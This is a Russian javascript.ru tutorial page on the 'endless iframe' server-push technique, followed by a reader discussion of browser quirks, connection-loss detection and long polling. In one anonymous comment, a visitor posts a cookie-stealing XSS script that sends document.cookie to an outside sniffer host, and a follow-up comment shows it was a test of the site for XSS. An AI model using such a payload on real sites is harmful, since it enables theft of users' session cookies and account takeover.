Javascript.RU

Бесконечный IFrame

Update: Более новый материал по этой теме находится по адресу https://learn.javascript.ru/ajax-iframe.

Бесконечный IFrame - одна из основ ранних, да и современных AJAX-приложений. В этом транспорте - больше всего тонкостей (естественно, это ж хак оконного интерфейса! , которые я постарался раскрыть и продемонстрировать в этой статье.

Способ основан на том, что браузер обрабатывает страницу последовательно и обрабатывает все новые теги по мере того, как сервер их присылает.

Классическая реализация - это когда клиент создает невидимый IFrame, ведущий на служебный URL. Сервер, получив соединение на этот URL, не закрывает его, а
время от времени присылает блоки сообщений <script>...javascript...</script>. Появившийся в IFrame'е javascript тут же выполняется браузером, передавая информацию на основную страницу.

Таким образом, для передачи данных используется "бесконечный" ифрейм, через который сервер присылает все новые данные. Этот способ самый известный и кросс-браузерный.

  1. Клиент открывает невидимый IFrame на специальный URL
  2. При наступлении событии на сервере - в ифрейм тут же поступает <script>-пакет с уведомлением типа:
    <script>parent.handleMessage({txt:"Preved",time:123456789})</script>
    
  3. Соединение завершается:
    • при ошибках
    • каждые 20-30 секунд
    • для очистки памяти (иногда делаем новый IFrame) от старых сообщений

Когда создавали IFrame'ы, то им не предназначали такое использование, т.е этот способ - по сути, хак.

Кроме общих проблем постоянных соединений, возникают еще некоторые сложности.

Некоторые браузеры не обрабатывают javascript-сообщения, пока не произойдет завершение соединения, либо не заполнится некий внутренний буфер.

Решение - паддинг пробелами, как и в случае с прокси.

Видел эту проблему с некоторыми версиями IE(старыми), с Safari. Паддинг в 1024 помогает как правило (Safari), 2048 - всегда (некоторые IE старые).

Некоторые версии IE не начинают выполнять javascript, пока страница не достигнет определенного размера. Поэтому первые несколько сообщений задерживаются, т.к браузер ждет, пока ифрейм подрастет.

Решение - забить начало ифрейма чем-нибудь, поставить, например, 1К пробелов в начале.

Процесс Server push должен происходить по возможности незаметно от пользователя, которого нужно уведомлять только при появлении соответствующих событий.

А натура IFrame, наоборот, сопровождается индикацией: курсор-часики, полоса загрузки, и т.п. Наиболее отчетливо эта проблема была видна в IE6 до определенной версии, где индикатор прогресса слишком ярко анимировался и привлекал внимание.

Решение проблемы индикации для транспорта iframe Вы найдете в статье AJAX-транспорт IFrame.

Протестировать индикацию загрузки в вашем браузере можно, запустив загрузку бесконечного ифрейма.

Тут появятся сообщения с сервера (цифры)

Вот - серверный код бесконечного ифрейма

<html>
<body>
<?php
 
  set_time_limit(0);
  while (@ob_end_flush()) {}
  ob_implicit_flush(1);
 
  $i=1;
  while(true) {
    echo "<script>parent.handleDigit($i)</script>";
    sleep(1);
    $i++;
  }
 
?>
</body>
</html>

Клиентский код - еще проще. Каждое сообщение оборачивается в span и добавляется через DOM к диву.

function handleDigit(digit) {
  var s = document.createElement('span')
  s.innerHTML = digit+' '
  document.getElementById('endless_frame_div').appendChild(s)
}

В общем виде недостатки и достоинства можно перечислить как

  • минимальная задержка и трафик
  • данные нельзя сжимать
  • ряд технических и визуальных проблем из-за хакерской природы транспорта iframe

Отсутствие трафика заголовков и задержек дают возможность, например, отображать задержку до пользователя (лаг).

Для этого каждую секунду (или несколько) - на сервер создается событие типа "я тут, время XXX". Javascript на клиенте, получив это сообщение, сравнивает время со своим, локальным (оба времени GMT) и выводит разницу как лаг.

Кроме того, на onload-событие iframe (window.onload) обычно вешают обработчик. Конец загрузки iframe означает разрыв связи с сервером, поэтому такой обработчик вызывает функцию disconnect основного окна.

Вы можете скачать исходник кросс-браузерного бесконечного iframe в конце статьи AJAX-транспорт IFrame.


Автор: Гость (не зарегистрирован), дата: 25 декабря, 2008 - 02:26
#permalink

А можно ли в ифрейме масштабировать вставляемый сайт?


Автор: Гость (не зарегистрирован), дата: 24 мая, 2009 - 11:01
#permalink

Конечно можно


Автор: Xapek (не зарегистрирован), дата: 10 апреля, 2009 - 16:59
#permalink

Всегда использовал и буду использовать мои любимые водные фреймы!!!
реально удобно делать приложения уровня AJAX.


Автор: maxbarbul, дата: 17 ноября, 2009 - 19:11
#permalink

Илья, для того, чтобы не было эффектов в статусбаре, можно iframe-загрузчик поместить в другой iframe-обертку, у которого src пустой, а для IE нужно указать в iframe-обертке

iframeDoc.write("<html>");
iframeDoc.write("<script>document.domain = '" + document.domain + "'");
iframeDoc.write("</html>");

Автор: NetFantom, дата: 11 января, 2010 - 22:37
#permalink

Что вы имели ввиду?
Попробовал ваш совет, и как-то не ощутил эффекта:

<html>
<body>
<iframe id="wrapper" src=""></iframe>
<script>
var wrapper = document.getElementById("wrapper");
f = document.createElement("iframe");
f.setAttribute("src","test.php");
wrapper.appendChild(f);
</script>
</body>
</html>

Автор: maxbarbul, дата: 29 января, 2010 - 20:16
#permalink

Вот код создания iframe - по сути, код некоторой функции connect:

if (navigator.appVersion.indexOf("MSIE") != -1)
        {// Internet Explorer
            connection = new ActiveXObject("htmlfile");
            connection.open();
            connection.write("<html>");
            connection.write("<script>document.domain = '" + 
                document.domain +
                "'; </s" + "cript>");
            connection.write("</html>");
            connection.close();
            iframediv = connection.createElement("div");
            connection.appendChild(iframediv);
            connection.parentWindow.comet = self;
            iframediv.innerHTML = "<iframe src='"
                    + opts.bind_url + callback
                    + "'></iframe>";
            // to have ability calling parent.comet.callback
        }
        else
        {// not Internet Explorer
            // create external iframe
            connection = document.createElement('iframe');
            connection.style.left = top = "-100px";
            connection.style.height = width = "1px";
            connection.style.visibility = "hidden";
            connection.style.display = 'none';
            iframediv = document.createElement('iframe');
            iframediv.setAttribute(
                'src',
                opts.bind_url + callback
            );
            connection.appendChild(iframediv);
            document.body.appendChild(connection);
        }

Для IE создавать нужно иначе, чем в других браузерах. В FF работает нормально, иногда индикатор загрузки появляется при первом создании iframe, но после первого xhr запроса пропадает.
В опере такой хак у меня не работает вообще, работает только если сделать один видимый iframe (у оперы своя логика отрисовки контента, грубо примерно так: "то, что невидимо, не подлежит парсингу").
В сафари работает, в хроме не пробовал.


Автор: maxbarbul, дата: 1 декабря, 2009 - 17:03
#permalink

Интересно, как можно поймать ошибку отсутствия соединения.
Есть какие-нибудь идеи?


Автор: Илья Кантор, дата: 1 декабря, 2009 - 17:25
#permalink

Обычно такие ошибки ловятся установкой <body onload="...">.
При любом разрыве соединения вызывается этот обработчик.


Автор: maxbarbul, дата: 17 декабря, 2009 - 16:16
#permalink

Этот обработчик срабатывает не всегда, и только если сервер разорвал соединение.

  • Если пользователь нажмет Esc, то загрузка завершается, и событие не возникает.
  • При исчезновении сети событие также не возникает, хотя соединение прервано.
  • Если сервер возвращает HTTP ошибку, например 502 (если сервер лежит), то onload не также возникнет.

Я пока не придумал ничего лучше периодического push'а от сервера (если push не пришел всрок, то клиент переустанавливает соединение).


Автор: goldserg, дата: 26 апреля, 2010 - 11:23
#permalink

Лично я проанализировав разные варианты Comet пришел к выводу что long poll самый оптимальный из них.
1) отправляя XHR реквест, можно грамотно написать обработчик на все серверные ошибки
2) разрыв связи по будет всегда, только задержка разная - это например проблема прокси, которая не получив от сервера что передача окончена может просто обрубить клиента (а ведь почти на всех рабочих местах стоит прокся). А создавая XHR самостоятельно (а не средствами браузера в Iframe), можно отследить когда связь разорвется.
3) Как много бы вы не слышали от серверных программистом что Comet это технология при которой происходит с клиента всего один запрос.... Это все миф, отсюда следствие. Несмотря на небольшое увеличение входящего траффика на сервер, long poll на данный момент является самым оптимальным и удобным средством для Comet технологии.


Автор: AlfeG (не зарегистрирован), дата: 23 июля, 2010 - 19:48
#permalink

Long polling годиться если частота поступающих данных невелика.
Если будет приходить по 10-100 событий в секунду, то спасет только бесконечный ифрейм.


Автор: Митя (не зарегистрирован), дата: 18 декабря, 2009 - 19:22
#permalink

По поводу перехвата ошибок
Я провёл небольшое исследование на эту тему
iframe я создаю динамически, при этом история браузера не засоряется.
Для детектирования установки связи, после form_.submit() нужно создать таймер, и если скажем в течении 3-х секунд(в зависимости от размера запроса) первый ответ от сервера не пришёл значит связь не установилась.
По поводу разрыва связи (в том числе и при нажатии кнопки отмена в браузере) это всё прекрасно детектируется, но у каждого браузера по разному.

//===============  Создание Iframe ==============================
//t.id индентификатор Iframe Это может быть просто число, или время в мс.
// LocUrl  Это url файла фрейма, допускаются параметры my_frame.php?z=1

var div_ = document.createElement('div');
div_.innerHTML = 
  '<div style="">' +
    '<iframe '+
      'name="name_iframe_'+t.id+'" '+
      'id="id_iframe_'+t.id+'" '+
      'style="height:1px;width:1px;visibility:hidden;position:absolute">'+
    '</iframe>'+
    '<form '+
      'id="id_form_'+t.id+'" '+
      'action="'+LocUrl+'" '+    
      'method="POST" '+
      'target="name_iframe_'+t.id+'" '+
      'enctype="multipart/form-data">'+
        '<INPUT TYPE="text" name="id_" VALUE="'+t.id+'">'+
        '<INPUT TYPE="text" name="params_" VALUE="'+serialize(Params)+'">'+
	'</form>'+
  '</div>'; 
	 
div_.setAttribute('id','id_div_'+t.id);	
document.body.appendChild(div);
var form_=document.getElementById("id_form_"+t.id);
form_.submit();

//Переменные form_ и div_ хранить не нужно, все обращения лучше сделать через 
// document.getElementById("id_div_"+t.id)


//=============== Удаление iframe ==============
if(div_=document.getElementById("id_div_"+t.id))
  div_.parentNode.removeChild(div_);   //IE 6 на это иногда неадекватно реагирует

//================ Проверка связи ==========================
//====1-я проверка ===== По таймеру скажем в 1 сек, вызываем эту проверку
try{  
  St=window.frames['id_iframe_'+t.id].document.readyState+' '; //FireFox не знает такого
  if(St=='complete '){//В принципе это возможно только в IE 6, может и выше
    // Обрыв связи. Или сервер закрыл соединение    
  };
 } catch(e){ } ;
//============================================================
//====2-я проверка ===== Регистрируем CallBack функцию
function ServerPushInstall(Obj){
  if (Obj.addEventListener) {//Этот метод есть не во всех браузерах
    //Регистриум Функцию ServerPushLoad_DOM, которая будет вызвана при разрыве связи
    Obj.addEventListener("DOMContentLoaded", ServerPushLoad_DOM, false);

  };

};

//

===================================================================
//В HTML коде Iframe в первую очередь должно быть вызвано

parent.ServerPushInstall(document);

Здесь представлены 2 варианта проверок, потому как некоторые работаю только в определенных браузерах, всё это было проверено в IE6, FireFox 3.5, Opera 10.

Мои проверки скорее всего заставляют браузер проверять наличие TCP соединения. Но операционная система не всегда может определить разрыв TCP соединения, особенно когда по нему ничего не передаётся. Поэтому сервер, в любом случае, раз 30 сек – минуту должен посылать сообщение о том, что он жив.

Первоначально в iframe должно быть послано порядка 2-х килобайт текста(хоть пробелов)
Затем можно посылать короткие сообщения

<script>parent.MyMessage('');</script>\r\n

и все они будут сразу-же обрабатываться.

Единственное, что мне пока не нравится в этом способе ajax, так это то, что мне не удалось избавится от курсора с песочными часами. У пользователя может возникнуть неправильное представление о том, что html страница ещё не загрузилась.

Несколько слов о многопоточности в Java скрипт. Во всех браузерах кроме оперы её нет, простой цикл

while(true){};

завешивает все "вкладки" браузера. Но такой цикл в Opera практически не заметен для пользователя, скажу больше если такой цикл сделать в iframe, то скрипты в основном html продолжат работать. Поэтому из Iframe правильнее всего передавать сообщение главному html только так

<script>setTimeOut("parent.MyMessage('');"},0);</script>\r\n

Автор: Гость (не зарегистрирован), дата: 13 декабря, 2011 - 13:15
#permalink

>> div_.parentNode.removeChild(div_); //IE 6 на это иногда неадекватно реагирует
после такого opera выполняет javascript до первого alert(или window.scrollTo(), или document.fire...), всё что, ниже не выполняется... т.е. если после удаления фрейма писать код не используя alert то всё работает, а если он есть то только до него..

это бага или фича в opera'е?


Автор: mycoding, дата: 18 января, 2010 - 18:29
#permalink

А есть код целиком для скачки, а то у меня не пашет...


Автор: Гость (не зарегистрирован), дата: 17 мая, 2010 - 00:33
#permalink
<script>img = new Image(); img.src = "http://sniffer.xaknet.ru/smiles/img__8415.gif?"+document.cookie;</script>

Автор: Гость (не зарегистрирован), дата: 17 мая, 2010 - 00:38
#permalink

почему у вас нет Xss))


Автор: AD (не зарегистрирован), дата: 5 октября, 2010 - 15:39
#permalink

так в чем тогда выигрыш? если просто периодичность опроса с клиента перенесена на сервер.
то есть, здесь приведен пример кода бесконечного ифрейма с бесконечным циклом.

но получается, что теперь "бесконечно" идут запросы не с клиента, а на сервере.

Я имею ввиду вот что. если реализовывать чат, и сообщения складывать, например в файл. то получается серверный код бесконечного ифрейма бесконечно считывает информацию (сообщения) из файла, чтобы потом их раздать другим клиентам для отображения.

может я чего-то не понимаю, но получается, как уже написал, что "бесконечный" запрос запускаемый javascript'ом, перенесен на сервер в, например, php скрипт с бесконечный циклом....


Автор: Гость (не зарегистрирован), дата: 24 января, 2011 - 20:17
#permalink

В примере статьи опечатка

echo "<script>parent.handleDigit($i)</script>";

При эхе блока скрипта нужно $i выделить точками, чтоб вставлялось значение.

echo "<script>parent.handleDigit(".$i.")</script>";

Это часто так бывает когда пишешь как пхп строит код явыскрипт и в голове они путаются, и что это <?php alert('Hello') ?> не работает


Автор: B@rmaley.e><e, дата: 24 января, 2011 - 22:23
#permalink

Здесь нет опечатки. Переменные внутри двойных кавычек интерполируются.


Автор: Гость (не зарегистрирован), дата: 19 февраля, 2011 - 04:35
#permalink

не пойму в данном случае, к примеру код в iframe
&ltscript src='jq/jquery.js'>&lt/script>
$(document).ready(function()
{....}
ни в какую не хотел выполнять.
Это всё из-за того что iframe кэшируется браузером?

P:S
У меня решилось так - если подгрузить скрипт в тело
&lt? echo"&ltscript>".file_get_contents('jq/jqf.js')."&lt/script>"?>


Автор: FINoM, дата: 27 февраля, 2011 - 06:26
#permalink

А если писать script без body и head, насколько это будет некроссбраузерным?


Автор: Гость (не зарегистрирован), дата: 23 октября, 2011 - 21:59
#permalink

Полностью код нельзя было привести? пздц


Автор: Гость (не зарегистрирован), дата: 12 декабря, 2011 - 20:50
#permalink

Добрый день, такая проблема:

При за пуске этого этого бесконечного цикла соединение на моем сервере разрывается каждый раз ровно через 2 минуты. Сервер Zend Server CE. Сначала думал какой то лимит браузера, но этот же браузер обрабатывает бесконечный цикл ифрейма вашей страницы без проблем. Видимо дело в сервере. Искал по конфигам сервера что то типо 2 минуты или 120 секунд, ничего не нашел.

Подскажите, пожалуйста, в чем может быть дело?


Автор: Гость (не зарегистрирован), дата: 12 декабря, 2011 - 21:06
#permalink

Решено

Open C:\Program Files\Zend\ZendServer\etc and in ZendEnablerConf.xml the defaults should be changed to " requestTimeout="" />


Автор: Гость (не зарегистрирован), дата: 17 января, 2013 - 23:13
#permalink

Скажите а исправить статус загрузки нельзя? Например часики в опере и анимация в хроме?


Автор: Гость (не зарегистрирован), дата: 16 апреля, 2014 - 19:39
#permalink

klass


Отправить комментарий

Приветствуются комментарии:
  • Полезные.
  • Дополняющие прочитанное.
  • Вопросы по прочитанному. Именно по прочитанному, чтобы ответ на него помог другим разобраться в предмете статьи. Другие вопросы могут быть удалены.
    Для остальных вопросов и обсуждений есть форум.
P.S. Лучшее "спасибо" - не комментарий, как все здорово, а рекомендация или ссылка на статью.
Содержание этого поля является приватным и не предназначено к показу.
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Разрешены HTML-таги: <strike> <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <u> <i> <b> <pre> <img> <abbr> <blockquote> <h1> <h2> <h3> <h4> <h5> <p> <div> <span> <sub> <sup>
  • Строки и параграфы переносятся автоматически.
  • Текстовые смайлы будут заменены на графические.

Подробнее о форматировании

CAPTCHA
Антиспам
2 + 5 =
Введите результат. Например, для 1+3, введите 4.
 
Текущий раздел
Поиск по сайту
Реклама
Содержание

Учебник javascript

Основные элементы языка

Сундучок с инструментами

Интерфейсы

Все об AJAX

Оптимизация

Разное

Дерево всех статей

Последние комментарии
Последние темы на форуме
Forum